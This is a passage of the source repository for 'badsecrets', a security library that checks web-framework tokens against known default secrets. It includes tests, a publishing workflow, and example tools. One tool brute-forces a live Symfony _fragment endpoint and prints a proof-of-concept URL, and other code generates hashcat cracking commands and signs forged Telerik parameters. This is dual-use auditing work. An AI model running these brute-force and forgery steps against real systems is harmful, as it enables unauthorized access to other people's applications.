"eyJpdiI6Ii9FOVVVNXMyclpZbFNnbmM5c2JDWlE9PSIsImhpdGhlcmUiOiJ2VmFCVjFKTzFhT2hjZnV2d29uZ3FKZjFQTUVBNTlmbW9ZUTdrM3lHWHAzRTFMWmVJVlJXMVY4ZUUrR3ZjcTIxUlhFaFl3WW9IYngzTzkvV29XVGlleTlSQ0ppQ245VzFnRVlpVDVuK094SmhQaGNmTFF4clJJTjhMT1JwRW9WWCIsIm1hYyI6IjMzOTJkNmRiNWNmMmY0YWU2M2MwNzJjNjViZDBmZjA2NzhkMzY0YzQxNmI5ZWI0MDFlZDEwMGFlNjdmMjhiYjIiLCJ0YWciOiIifQ==", 24 | "eyJpdiI6Ii9FOVVVNXMyclpZbFNnbmM5c2JDWlE9PScsInZhbHVlIjoidlZhQlYxSk8xYU9oY2Z1dndvbmdxSmYxUE1FQTU5Zm1vWVE3azN5R1hwM0UxTFplSVZSVzFWOGVFK0d2Y3EyMVJYRWhZd1lvSGJ4M085L1dvV1RpZXk5UkNKaUNuOVcxZ0VZaVQ1bitPeEpoUGhjZkxReHJSSU44TE9ScEVvVlgiLCJtYWMiOiI0MzkyZDZkYjVjZjJmNGFlNjNjMDcyYzY1YmQwZmYwNjc4ZDM2NGM0MTZiOWViNDAxZWQxMDBhZTY3ZjI4YmIyIiwidGFnIjoiIn0=", 25 | ] 26 | 27 | 28 | def test_laravel(): 29 | x = LaravelSignedCookies() 30 | for test in tests: 31 | found_key = x.check_secret(test[1]) 32 | assert found_key 33 | assert found_key["secret"] == test[0] 34 | 35 | 36 | def test_laravel_negative(): 37 | x = LaravelSignedCookies() 38 | for test in negative_tests: 39 | found_key = x.check_secret(test[1]) 40 | assert not found_key 41 | -------------------------------------------------------------------------------- /tests/examples_symfony_signedurl_test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import requests 4 | import requests_mock 5 | from mock import patch 6 | 7 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 8 | sys.path.append(f"{os.path.dirname(SCRIPT_DIR)}/examples") 9 | from badsecrets.examples import symfony_knownkey 10 | 11 | from badsecrets import modules_loaded 12 | 13 | Symfony_SignedURL = modules_loaded["symfony_signedurl"] 14 | 15 | 16 | def test_symfony_url_not_up(monkeypatch, capsys): 17 | with requests_mock.Mocker() as m: 18 | # URL is down - handled correctly 19 | 20 | m.get(f"http://notreal.com/_fragment", exc=requests.exceptions.ConnectTimeout) 21 | monkeypatch.setattr("sys.argv", ["python", "--url", "http://notreal.com"]) 22 | symfony_knownkey.main() 23 | captured = capsys.readouterr() 24 | assert "Error connecting to URL" in captured.out 25 | 26 | 27 | def test_symfony_url_malformed(monkeypatch, capsys): 28 | # URL is not properly formatted 29 | 30 | with patch("sys.exit") as exit_mock: 31 | monkeypatch.setattr("sys.argv", ["python", "--url", "hxxp://notreal.com"]) 32 | symfony_knownkey.main() 33 | assert exit_mock.called 34 | captured = capsys.readouterr() 35 | assert "URL is not formatted correctly" in captured.err 36 | 37 | 38 | def test_symfony_brute_success(monkeypatch, capsys, mocker): 39 | phpcredits_page = """ 40 | PHP Group 41 | Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski 42 | 43 | 44 | 45 | 46 |
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | """ 56 | 57 | with requests_mock.Mocker() as m: 58 | m.get( 59 | f"https://localhost/AAAAAAAA", 60 | status_code=404, 61 | text="", 62 | ) 63 | 64 | m.get( 65 | f"https://localhost/_fragment", 66 | status_code=403, 67 | text="", 68 | ) 69 | 70 | m.get( 71 | f"https://localhost/_fragment?_path=_controller%3Dphpcredits&_hash=SrBMT/u6I0ylFIn/i6LYayCog21DnFMJ7yFBSnZpImA=", 72 | status_code=200, 73 | text=phpcredits_page, 74 | ) 75 | 76 | monkeypatch.setattr( 77 | "sys.argv", 78 | ["python", "--url", "https://localhost/"], 79 | ) 80 | symfony_knownkey.main() 81 | captured = capsys.readouterr() 82 | assert "Found Symfony Secret! [50c8215b436ebfcc1d568effb624a40e]" in captured.out 83 | print(captured) 84 | -------------------------------------------------------------------------------- /badsecrets/examples/symfony_knownkey.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # badsecrets - Symfony _fragment known secret key brute-force tool 3 | # Black Lantern Security - https://www.blacklanternsecurity.com 4 | # @paulmmueller 5 | 6 | import re 7 | import os 8 | import sys 9 | import hashlib 10 | import argparse 11 | import requests 12 | from contextlib import suppress 13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 14 | 15 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 16 | 17 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 18 | sys.path.append(os.path.dirname(SCRIPT_DIR)) 19 | 20 | from badsecrets import modules_loaded 21 | 22 | Symfony_SignedURL = modules_loaded["symfony_signedurl"] 23 | 24 | 25 | def validate_url( 26 | arg_value, 27 | pattern=re.compile( 28 | r"^https?://((?:[A-Z0-9_]|[A-Z0-9_][A-Z0-9\-_]*[A-Z0-9_])[\.]?)+(?:[A-Z0-9_][A-Z0-9\-_]*[A-Z0-9_]|[A-Z0-9_])(?::[0-9]{1,5})?.*$", 29 | re.IGNORECASE, 30 | ), 31 | ): 32 | if not pattern.match(arg_value): 33 | raise argparse.ArgumentTypeError("URL is not formatted correctly") 34 | return arg_value 35 | 36 | 37 | def main(): 38 | parser = argparse.ArgumentParser() 39 | parser.add_argument( 40 | "-u", 41 | "--url", 42 | type=validate_url, 43 | help="The URL of the page to access and attempt to pull viewstate and generator from", 44 | required=True, 45 | ) 46 | 47 | parser.add_argument( 48 | "-p", 49 | "--proxy", 50 | help="Optionally specify an HTTP proxy", 51 | ) 52 | 53 | parser.add_argument( 54 | "-a", 55 | "--user-agent", 56 | help="Optionally set a custom user-agent", 57 | ) 58 | 59 | args = parser.parse_args() 60 | 61 | if not args.url: 62 | return 63 | 64 | proxies = None 65 | if args.proxy: 66 | proxies = {"http": args.proxy, "https": args.proxy} 67 | 68 | headers = {} 69 | if args.user_agent: 70 | headers["User-agent"] = args.user_agent 71 | 72 | fragment_test_url = f"{args.url.rstrip('/')}/_fragment" 73 | try: 74 | res_fragment = requests.get(f"{fragment_test_url}", proxies=proxies, headers=headers, verify=False) 75 | except (requests.exceptions.ConnectionError, requests.exceptions.ConnectTimeout): 76 | print(f"Error connecting to URL: [{args.url}]") 77 | return 78 | 79 | negative_test_url = f"{args.url.rstrip('/')}/AAAAAAAA" 80 | res_random = requests.get(f"{negative_test_url}", proxies=proxies, headers=headers, verify=False) 81 | 82 | if (res_fragment.status_code != 403) or not (res_random.status_code != res_fragment.status_code): 83 | print(f"Not a Symfony app, or _fragment functionality not enabled...") 84 | return 85 | 86 | print("Target appears to by a Symfony app with _fragment enabled. Brute forcing Symfony secret...") 87 | 88 | x = Symfony_SignedURL() 89 | 90 | phpinfo_test_url = f"{args.url.rstrip('/')}/_fragment?_path=_controller%3Dphpcredits" 91 | 92 | for l in x.load_resources(["symfony_appsecret.txt"]): 93 | with suppress(ValueError): 94 | secret = l.rstrip() 95 | for hash_algorithm in [hashlib.sha256, hashlib.sha1]: 96 | hash_value = x.symfonyHMAC(phpinfo_test_url, secret, hash_algorithm) 97 | test_url = f"{phpinfo_test_url}&_hash={hash_value.decode()}" 98 | test_res = requests.get(f"{test_url}", proxies=proxies, headers=headers, verify=False) 99 | if "PHP Authors" in test_res.text: 100 | print(test_url) 101 | print(f"Found Symfony Secret! [{secret}]") 102 | print(f"PoC URL: {test_url}") 103 | print(f"Hash Algorithm: {hash_algorithm.__name__.split('_')[1]}") 104 | return 105 | 106 | 107 | if __name__ == "__main__": 108 | print("badsecrets - Symfony _fragment known secret key brute-force tool\n") 109 | main() 110 | -------------------------------------------------------------------------------- /badsecrets/modules/telerik_hashkey.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import base64 4 | import binascii 5 | import urllib.parse 6 | from contextlib import suppress 7 | from badsecrets.base import BadsecretsBase 8 | 9 | 10 | class Telerik_HashKey(BadsecretsBase): 11 | identify_regex = re.compile(r"^(?:[A-Za-z0-9+\/=%]{32,})$") 12 | description = { 13 | "product": "Telerik DialogParameters", 14 | "secret": "Telerik.Upload.ConfigurationHashKey", 15 | "severity": "HIGH", 16 | } 17 | 18 | def carve_regex(self): 19 | return re.compile(r"{\"SerializedParameters\":\"([^\"]*)\"") 20 | 21 | def prepare_keylist(self, include_machinekeys=True): 22 | if include_machinekeys: 23 | for l in self.load_resources(["aspnet_machinekeys.txt"]): 24 | try: 25 | vkey, ekey = l.rstrip().split(",") 26 | yield vkey 27 | except ValueError: 28 | continue 29 | for l in self.load_resources(["telerik_hash_keys.txt"]): 30 | vkey = l.strip() 31 | yield vkey 32 | 33 | @classmethod 34 | def telerik_hashkey_load(self, dialogParameters_raw): 35 | dialogParametersB64 = urllib.parse.unquote(dialogParameters_raw) 36 | return dialogParametersB64[:-44].encode(), dialogParametersB64[-44:].encode() 37 | 38 | def check_secret(self, dialogParameters_raw): 39 | if not self.identify(dialogParameters_raw): 40 | return None 41 | 42 | dp_enc, dp_hash = self.telerik_hashkey_load(dialogParameters_raw) 43 | 44 | for vkey in self.prepare_keylist(): 45 | with suppress(binascii.Error): 46 | h = hmac.new(vkey.encode(), dp_enc, self.hash_algs["SHA256"]) 47 | if base64.b64encode(h.digest()) == dp_hash: 48 | return {"secret": vkey, "details": None} 49 | return None 50 | 51 | def get_hashcat_commands(self, dialogParameters_raw, *args): 52 | dp_enc, dp_hash = self.telerik_hashkey_load(dialogParameters_raw) 53 | if not dp_enc or not dp_hash: 54 | return None 55 | 56 | try: 57 | dp_enc_decoded = base64.b64decode(dp_hash) 58 | dp_hash_decoded = base64.b64decode(dp_enc) 59 | except binascii.Error: 60 | return None 61 | 62 | return [ 63 | { 64 | "command": f"hashcat -m 1450 -a 0 {dp_enc_decoded.hex()}:{dp_hash_decoded.hex()} --hex-salt ", 65 | "description": f"Telerik Hash Key Signature", 66 | } 67 | ] 68 | 69 | def hashkey_probe_generator(self, include_machinekeys=False, custom_keys=None): 70 | test_string = b"EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;IsSkinTouch,False,3,False;ScriptManagerProperties,False,0,CgoKCkZhbHNlCjAKCgoK;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxOC4xLjExNy40NSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False" 71 | dp_enc = base64.b64encode(test_string) 72 | for vkey in custom_keys if custom_keys else self.prepare_keylist(include_machinekeys=include_machinekeys): 73 | h = hmac.new(vkey.encode(), dp_enc, self.hash_algs["SHA256"]) 74 | yield (f"{dp_enc.decode()}{base64.b64encode(h.digest()).decode()}", vkey) 75 | 76 | def sign_enc_dialog_params(self, hash_key, enc_dialog_params): 77 | dp_enc = enc_dialog_params.encode() 78 | h = hmac.new(hash_key.encode(), dp_enc, self.hash_algs["SHA256"]) 79 | return f"{dp_enc.decode()}{base64.b64encode(h.digest()).decode()}" 80 | -------------------------------------------------------------------------------- /badsecrets/modules/generic_jwt.py: -------------------------------------------------------------------------------- 1 | import re 2 | import jwt as j 3 | import json 4 | import base64 5 | from badsecrets.base import BadsecretsBase 6 | 7 | # XMLDSIG Translation Table 8 | 9 | XMLDSIG_table = { 10 | "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256": "HS256", 11 | "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384": "HS384", 12 | "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512": "HS512", 13 | "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256": "RS256", 14 | "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384": "RS384", 15 | "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512": "RS512", 16 | "http://www.w3.org/2001/04/xmldsig-more#ecdsa-sha256": "ES256", 17 | "http://www.w3.org/2001/04/xmldsig-more#ecdsa-sha384": "ES384", 18 | "http://www.w3.org/2001/04/xmldsig-more#ecdsa-sha512": "ES512", 19 | "http://www.w3.org/2007/05/xmldsig-more#sha256-rsa-MGF1": "PS256", 20 | "http://www.w3.org/2007/05/xmldsig-more#sha384-rsa-MGF1": "PS384", 21 | "http://www.w3.org/2007/05/xmldsig-more#sha512-rsa-MGF1": "PS512", 22 | } 23 | 24 | 25 | class Generic_JWT(BadsecretsBase): 26 | identify_regex = re.compile(r"eyJ(?:[\w-]*\.)(?:[\w-]*\.)[\w-]*") 27 | description = {"product": "JSON Web Token (JWT)", "secret": "HMAC/RSA Key", "severity": "HIGH"} 28 | 29 | @staticmethod 30 | def swap_algorithm(jwt, algorithm): 31 | header = j.get_unverified_header(jwt) 32 | header["alg"] = algorithm 33 | header_encoded = ( 34 | base64.urlsafe_b64encode(json.dumps(header, separators=(",", ":")).encode()).rstrip(b"=").decode() 35 | ) 36 | _, payload, signature = jwt.split(".") 37 | new_jwt = f"{header_encoded}.{payload}.{signature}" 38 | return new_jwt 39 | 40 | def carve_regex(self): 41 | return re.compile(r"(eyJ(?:[\w-]*\.)(?:[\w-]*\.)[\w-]*)") 42 | 43 | def jwtVerify(self, JWT, key, algorithm): 44 | try: 45 | r = j.decode(JWT, key, algorithms=[algorithm], options={"verify_exp": False}) 46 | return r 47 | except j.exceptions.InvalidSignatureError: 48 | return None 49 | 50 | def jwtLoad(self, JWT): 51 | try: 52 | jwt_headers = j.get_unverified_header(JWT) 53 | # if the JWT is not well formed, stop here 54 | except j.exceptions.DecodeError: 55 | return (None, None, None) 56 | try: 57 | algorithm = jwt_headers["alg"] 58 | 59 | # It could be a JWT-like token that is actually a different format, for example a flask cookie 60 | except KeyError: 61 | return (None, None, None) 62 | 63 | if algorithm in XMLDSIG_table.keys(): 64 | algorithm = XMLDSIG_table[algorithm] 65 | JWT = self.swap_algorithm(JWT, algorithm) 66 | 67 | return jwt_headers, algorithm, JWT 68 | 69 | def get_hashcat_commands(self, JWT, *args): 70 | jwt_headers, algorithm, JWT = self.jwtLoad(JWT) 71 | if jwt_headers and algorithm and JWT: 72 | if algorithm[0].lower() != "h": 73 | return None 74 | 75 | return [ 76 | { 77 | "command": f"hashcat -m 16500 -a 0 {JWT} ", 78 | "description": f"JSON Web Token (JWT) Algorithm: {algorithm}", 79 | } 80 | ] 81 | 82 | def check_secret(self, JWT): 83 | if not self.identify(JWT): 84 | return None 85 | 86 | jwt_headers, algorithm, JWT = self.jwtLoad(JWT) 87 | if not jwt_headers or not algorithm or not JWT: 88 | return None 89 | 90 | if algorithm[0].lower() == "h": 91 | for l in self.load_resources(["jwt_secrets.txt", "top_100000_passwords.txt"]): 92 | key = l.strip() 93 | 94 | r = self.jwtVerify(JWT, key, algorithm) 95 | if r: 96 | r["jwt_headers"] = jwt_headers 97 | return {"secret": key, "details": r} 98 | 99 | elif algorithm[0].lower() == "r": 100 | for l in self.load_resources(["jwt_rsakeys_public.txt"]): 101 | private_key_name = l.split(":")[0] 102 | public_key = f"{l.split(':')[1]}".rstrip().encode().replace(b"\\n", b"\n") 103 | r = self.jwtVerify(JWT, public_key, algorithm) 104 | if r: 105 | r["jwt_headers"] = jwt_headers 106 | return {"secret": f"Private key Name: {private_key_name}", "details": r} 107 | 108 | return None 109 | -------------------------------------------------------------------------------- /tests/rails_secretkeybase_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | Rails_SecretKeyBase = modules_loaded["rails_secretkeybase"] 4 | 5 | tests = [ 6 | ( 7 | "hash_algorithm", 8 | "SHA1", 9 | "4698bc5d99f3103ca76ab57f28a6b8f75f5f0768aab4f2e3f3743383594ad91f43e78c1b86138602f5859a811927698180ebfae7c490333f37b87521ca5a5f8c", 10 | "eyJfcmFpbHMiOnsibWVzc2FnZSI6IklraGxiR3h2TENCSklHRnRJR0VnYzJsbmJtVmtJSEpoYVd4ek5pQkRiMjlyYVdVaElnPT0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5zaWduZWQifX0%3D--eb1ea3ddc55deb16ffc58ac165edfbb554067edc", 11 | ), 12 | ( 13 | "encryption_algorithm", 14 | "AES_CBC", 15 | "6f9c2bdad527137950bd62e9688c6cd6a3f3ccc1bbd2972c2d9dbdc4bccbfeb38c2832804cfc62fc662ed54b15f8731083cc090b352168b335569cc4375a4696", 16 | "dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841", 17 | ), 18 | ( 19 | "encryption_algorithm", 20 | "AES_GCM", 21 | "4698bc5d99f3103ca76ab57f28a6b8f75f5f0768aab4f2e3f3743383594ad91f43e78c1b86138602f5859a811927698180ebfae7c490333f37b87521ca5a5f8c", 22 | "fuP54C4UxMudlZRR6j25zJfkevHVZ6IJR6Hp1B3rW6sAW5Aqc1j2Ri0XgcyLRvuSNVLwzq6cqeWlVhwU13xMS8scjU%2BSGGi%2Bta4jQU7oYujKdxynHSEiYOmeNFW4onXoF3KLlmr7ODmtIaHm1zIEP11TT%2FmRqZuxxecjz0VIxUDhvHYEFQ%3D%3D--ZclUs5zZFu3JPKnx--%2Fc0Q4ufTHqqmMxoin0mRtQ%3D%3D", 23 | ), 24 | ] 25 | 26 | 27 | negative_tests = [ 28 | ( 29 | "hash_algorithm", 30 | "SHA1", 31 | "4698bc5d99f3103ca76ab57f28a6b8f75f5f0768aab4f2e3f3743383594ad91f43e78c1b86138602f5859a811927698180ebfae7c490333f37b87521ca5a5f8c", 32 | "eyJfcmFpbHMiOnsibWVzc2FnZSI6IklraGxiR3h2TENCSklHRnRJR0VnYzJsbmJtVmtJSEpoYVd4ek5pQkRiMjlyYVdVaElnPT0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5zaWduZWQifX0%3D--BADSECRETS5deb16ffc58ac165edfbb554067edc", 33 | ), 34 | ( 35 | "encryption_algorithm", 36 | "AES_CBC", 37 | "6f9c2bdad527137950bd62e9688c6cd6a3f3ccc1bbd2972c2d9dbdc4bccbfeb38c2832804cfc62fc662ed54b15f8731083cc090b352168b335569cc4375a4696", 38 | "dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15$%^&&xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841", 39 | ), 40 | ( 41 | "encryption_algorithm", 42 | "AES_CBC", 43 | "6f9c2bdad527137950bd62e9688c6cd6a3f3ccc1bbd2972c2d9dbdc4bccbfeb38c2832804cfc62fc662ed54b15f8731083cc090b352168b335569cc4375a4696", 44 | "UEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15$%^&&xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841", 45 | ), 46 | ] 47 | 48 | 49 | def test_rails(): 50 | x = Rails_SecretKeyBase() 51 | for test in tests: 52 | print(test) 53 | found_key = x.check_secret(test[3]) 54 | assert found_key 55 | assert found_key["secret"] == test[2] 56 | assert found_key["details"][test[0]] == test[1] 57 | 58 | 59 | def test_rails_negative(): 60 | x = Rails_SecretKeyBase() 61 | for test in negative_tests: 62 | print(test) 63 | found_key = x.check_secret(test[3]) 64 | assert not found_key 65 | 66 | 67 | def test_rails_malformed(): 68 | x = Rails_SecretKeyBase() 69 | found_key = x.check_secret("AAECAwQF--AAECAwQF") 70 | assert not found_key 71 | 72 | 73 | def test_rails_error_unicode(): 74 | x = Rails_SecretKeyBase() 75 | found_key = x.check_secret( 76 | "dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWeS9NMTBNZ1RadmU5ZlFnMWVZaXpaZz09--7efe7919a5210cfd1ac4c6228e3ff82c0600d841" 77 | ) 78 | assert not found_key 79 | 80 | 81 | def test_rails_error_binascii(): 82 | x = Rails_SecretKeyBase() 83 | found_key = x.check_secret( 84 | "dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWeS9NMTBNZ1RadmU5ZlFnMWV%20XpaZz09--7efe7919a5210cfd1ac4c6228e3ff82c0600d841" 85 | ) 86 | assert not found_key 87 | -------------------------------------------------------------------------------- /badsecrets/examples/blacklist3r.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # badsecrets - python 'blacklist3r' tool 3 | # Inspired by blacklist3r - https://github.com/NotSoSecure/Blacklist3r\n") 4 | # Black Lantern Security - https://www.blacklanternsecurity.com") 5 | # @paulmmueller 6 | 7 | import re 8 | import os 9 | import sys 10 | import argparse 11 | import requests 12 | import urllib.parse 13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 14 | 15 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 16 | 17 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 18 | sys.path.append(os.path.dirname(SCRIPT_DIR)) 19 | 20 | from badsecrets import modules_loaded 21 | 22 | ASPNET_Viewstate = modules_loaded["aspnet_viewstate"] 23 | 24 | 25 | def check_viewstate(viewstate, generator): 26 | bs_vs = ASPNET_Viewstate() 27 | r = bs_vs.check_secret(viewstate, generator) 28 | return r 29 | 30 | 31 | def print_result(r): 32 | print("Matching MachineKeys found!") 33 | print(r["secret"]) 34 | 35 | 36 | def validate_viewstate(arg_value, pattern=re.compile(r"^(?:[A-Za-z0-9+\/=%]+)$")): 37 | if not pattern.match(arg_value): 38 | raise argparse.ArgumentTypeError("Viewstate is not formatted correctly") 39 | return arg_value 40 | 41 | 42 | def validate_generator(arg_value, pattern=re.compile(r"^(?:[A-Fa-f0-9]+)$")): 43 | if not pattern.match(arg_value): 44 | raise argparse.ArgumentTypeError("Generator is not formatted correctly") 45 | return arg_value 46 | 47 | 48 | def validate_url( 49 | arg_value, 50 | pattern=re.compile( 51 | r"^https?://((?:[A-Z0-9_]|[A-Z0-9_][A-Z0-9\-_]*[A-Z0-9_])[\.]?)+(?:[A-Z0-9_][A-Z0-9\-_]*[A-Z0-9_]|[A-Z0-9_])(?::[0-9]{1,5})?.*$", 52 | re.IGNORECASE, 53 | ), 54 | ): 55 | if not pattern.match(arg_value): 56 | raise argparse.ArgumentTypeError("URL is not formatted correctly") 57 | return arg_value 58 | 59 | 60 | def main(): 61 | viewstate = None 62 | generator = "0000" 63 | 64 | generator_regex = re.compile(r'> $GITHUB_ENV 89 | 90 | - name: Fetch latest tag 91 | run: | 92 | git fetch --tags 93 | LATEST_TAG=$(git describe --tags $(git rev-list --tags --max-count=1)) 94 | echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV 95 | 96 | - name: Retrieve and strip "v" prefix if present 97 | run: | 98 | # Retrieve and strip "v" prefix if present 99 | CURRENT_VERSION="${{ env.VERSION }}" 100 | LATEST_VERSION="${{ env.LATEST_TAG }}" 101 | CURRENT_VERSION="${CURRENT_VERSION#v}" 102 | LATEST_VERSION="${LATEST_VERSION#v}" 103 | 104 | # Extract major.minor for comparison 105 | CURRENT_MAJOR_MINOR=$(echo "$CURRENT_VERSION" | cut -d '.' -f 1-2) 106 | LATEST_MAJOR_MINOR=$(echo "$LATEST_VERSION" | cut -d '.' -f 1-2) 107 | 108 | # Compare versions 109 | if [ "$CURRENT_MAJOR_MINOR" == "$LATEST_MAJOR_MINOR" ]; then 110 | echo "VERSION_CHANGE=false" >> $GITHUB_ENV 111 | else 112 | echo "VERSION_CHANGE=true" >> $GITHUB_ENV 113 | fi 114 | shell: bash 115 | env: 116 | VERSION: ${{ env.VERSION }} # dynamically passed VERSION variable 117 | LATEST_TAG: ${{ env.LATEST_TAG }} # dynamically passed LATEST_TAG variable 118 | 119 | - name: Build PyPi package 120 | if: github.ref == 'refs/heads/main' && env.VERSION_CHANGE == 'true' 121 | run: python -m build 122 | 123 | - name: Publish PyPi package 124 | if: github.ref == 'refs/heads/main' && env.VERSION_CHANGE == 'true' 125 | uses: pypa/gh-action-pypi-publish@release/v1.12 126 | with: 127 | password: ${{ secrets.PYPI_API_TOKEN }} 128 | 129 | - name: Tag the release if major or minor version changed 130 | if: github.ref == 'refs/heads/main' && env.VERSION_CHANGE == 'true' 131 | run: | 132 | git config user.name "github-actions[bot]" 133 | git config user.email "github-actions[bot]@users.noreply.github.com" 134 | git tag -a "${{ env.VERSION }}" -m "Release ${{ env.VERSION }}" 135 | git push origin "refs/tags/${{ env.VERSION }}" 136 | -------------------------------------------------------------------------------- /badsecrets/modules/telerik_encryptionkey.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import base64 4 | import binascii 5 | import urllib.parse 6 | from Crypto.Cipher import AES 7 | from Crypto.Protocol import KDF 8 | from contextlib import suppress 9 | from Crypto.Util.Padding import pad 10 | from badsecrets.helpers import unpad 11 | from badsecrets.base import BadsecretsBase 12 | from badsecrets.helpers import Csharp_pbkdf1 13 | from badsecrets.errors import Telerik_EncryptionKey_Exception 14 | 15 | telerik_hardcoded_salt = [58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1] 16 | 17 | 18 | class Telerik_EncryptionKey(BadsecretsBase): 19 | identify_regex = re.compile(r"^(?:[A-Za-z0-9+\/=%]{32,})$") 20 | description = { 21 | "product": "Telerik DialogParameters", 22 | "secret": "Telerik.Web.UI.DialogParametersEncryptionKey", 23 | "severity": "MEDIUM", 24 | } 25 | 26 | def carve_regex(self): 27 | return re.compile(r"{\"SerializedParameters\":\"([^\"]*)\"") 28 | 29 | def prepare_keylist(self, include_machinekeys=False): 30 | if include_machinekeys: 31 | for l in self.load_resources(["aspnet_machinekeys.txt"]): 32 | with suppress(ValueError): 33 | vkey, ekey = l.rstrip().split(",") 34 | if ekey: 35 | yield ekey 36 | for l in self.load_resources(["telerik_encryption_keys.txt"]): 37 | ekey = l.strip() 38 | yield ekey 39 | 40 | def telerik_derivekeys(self, ekey, key_derive_mode): 41 | if key_derive_mode == "PBKDF1_MS": 42 | return self.telerik_derivekeys_PBKDF1_MS(ekey) 43 | elif key_derive_mode == "PBKDF2": 44 | return self.telerik_derivekeys_PBKDF2(ekey) 45 | else: 46 | raise Telerik_EncryptionKey_Exception("Invalid key_derive_mode") 47 | 48 | def telerik_derivekeys_PBKDF1_MS(self, ekey): 49 | csharp_pbkdf1 = Csharp_pbkdf1(ekey.encode(), bytes(telerik_hardcoded_salt), 100) 50 | derivedKey = csharp_pbkdf1.GetBytes(32) 51 | derivedIV = csharp_pbkdf1.GetBytes(16) 52 | return derivedKey, derivedIV 53 | 54 | def telerik_derivekeys_PBKDF2(self, ekey): 55 | pbkdf1 = 